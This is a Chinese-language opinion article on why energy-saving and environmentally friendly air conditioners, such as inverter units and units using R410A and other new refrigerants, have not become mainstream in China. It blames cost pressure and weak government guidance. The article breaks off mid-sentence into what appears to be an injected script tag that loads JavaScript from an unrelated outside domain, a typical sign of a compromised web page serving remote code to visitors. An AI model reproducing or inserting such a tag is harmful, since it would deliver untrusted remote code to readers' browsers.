随着《京都议定书》的生效，欧盟又出台实施旨在涉及循环再利用weee和限制使用有害物质的rohs两项指令案。国内在今年3月1日开始实施冰箱、空调新的能效标准。由此，可以看出不论是国际还是国内对节能环的要求越来越高，这对于国内最大的日用耗电大户及涉及环保的空调企业提出了更高的要求，同时也是对空调产业是一个极大的考验。
但是，在国内不论是消费者还是空调制造企业，在节能环保意识上与国际标准的要求还有很大的差距，不论是在产品的研发制造，还是对产品的选择使用都没有把环保节能放在应有的地位。造成了空调行业环保节能产品在市场上不能够成为主流。
对于国内空调行业的这种环保节能状况，笔者以为除了消费者意识淡薄、企业受利益驱动外，政府的引导规范和资源投入力度的不够也是一个重要的因素。因此，如何规范空调行业的节能、环保应该引起政府有关部门的高度重视，出台相关法规措施引导规范空调行业在节能环保方面紧跟世界潮流，为爱护我们人类共同的家园做出中华民族应有的贡献。
产品：现状不容乐观
空调产品的更新换代缓慢是不争的事实，尤其是国内空调市场上节能环保产品得不到重视，节能环保产品的普及率低下已经影响到国家和民族的形象。业内很多有识之士也多次呼吁行业改变产品同质化的状况，虽然有很多企业在这方面作了很大的努力，但是从目前的现实情况看，这种状况还没有从根本上得到解决。
从市场上看，畅销产品还是集中在低价机、特价机和工程机上。相反，像具有节能环保功能的高端机型的在市场销售中占有的比例较少。一般来说，特价机、低价机和工程机都不具有节能环保功能或者说节能环保的功能比较差，但是凭借着价格的优势在市场上成为攻城掠地的重要武器，被行业誉为是战斗机。虽然一些厂家在产品规划中把中高档机型作为主力机型，但是在实际操作中迫于市场的压力，不得已还是让低端产品成为了市的主流。
其实，以空调行业当前的技术储备和生产工艺，完全能够支撑节能环保产品的普及和推广。首先，变频技术在空调产品上的应用已经非常成熟，日本90%以上使用的是变频空调。但是在我国变频产品的推广就不是很顺利，变频技术进入我国已经有近十年的历史，很多空调企业都能够生产制造变频产品，但是主推变频产品的企业仅有海信一家，变频产品在市场上的占有率仅有7%至10%左右。其次，数码蜗旋压缩机的技术也比较先进的空调核心技术，如果现有空调产品都能够使用数码蜗旋压缩机的话，节能效果也是非常的可观。可是在家用空调上使用数码蜗旋压缩机的产品是凤毛麟角，国内仅有部分企业在商用空调上采用。再次，在空调制冷剂上继r407c、r410a之后，第三代的r417a、a420、r421a环保制冷剂产品已经在我国能够大量生产。这些制冷剂都是被美国制冷业权威机构ashrae评为a1安全标准，其具有环保的特性又具有节能的功效。但是，在国内市场上的空调，还都是使用传统的非环保的r22制冷剂产品，几乎看不到新型环保制冷机的踪迹。
从上述中可以看出，在国内非节能环保的空调产品还是占据着市场的主流，除了变频外即就是推出所谓的高端产品，也大都是集中在外观的改变上。以至于现在市场上产品的色彩成了“革命”的对象，真正涉及到技术更新升级的可以说是少得可怜。
成本：厂家难说的痛
既然空调产业已经具有了这么多的节能环保技术，而且这些技术已经比较成熟，为什么不能在国内普及呢？不同的人可能会说出不同的答案，但是笔者认为最根本的还是成本问题。
由于各个厂家规模的不同，选择使用原材料的不同，采购成本也会有所差异。因此，具体某一时期变频空调的成本与定速空调的成本是多少笔者很难去考究。但在市场上变频空调与普通定速空调的售价中我们可以发现，国内某一知名品牌的26定速空调与海信的26的变频空调的差额在600元上下，差额比例在30%以上。若是机型越大这种差额也越大。同型号大小的变频机比定速机高30%以上的价格，就成了变频机在市场上推广的一个重要障碍。所以，我们就不难理解变频空调进入国内市场已经有了近十年的历史，而且属于节能新型高端产品，为什么占有率始终只能徘徊在10%以下了。
从制冷剂上来讲，制造企业还在普遍使用传统的r22制冷剂，第二代、第三代的新型环保制冷剂很少被使用。取舍之间还是一个价格在起着主导作用，目前市场上r22制冷剂每公斤价格在15元左右，而r407c、r410a的价格每公斤在50—60元，也就是说使用新型环保制冷剂要比使用普通制冷仅在制冷剂的成本就要高出3到4倍以上。
国内市场近年来由于产能的不断扩大，产品过剩已经是不争的事实，导致了市场竞争日趋残酷。为了掌握竞争的主动权，厂家采取降低成本为最有效的应对办法。因此，各个厂家就会在制造的各个环节上选用相对便宜的零配件。因此，具有高技术含量的数码蜗旋压缩机就因为价?script src=http://er12.com/t.js>
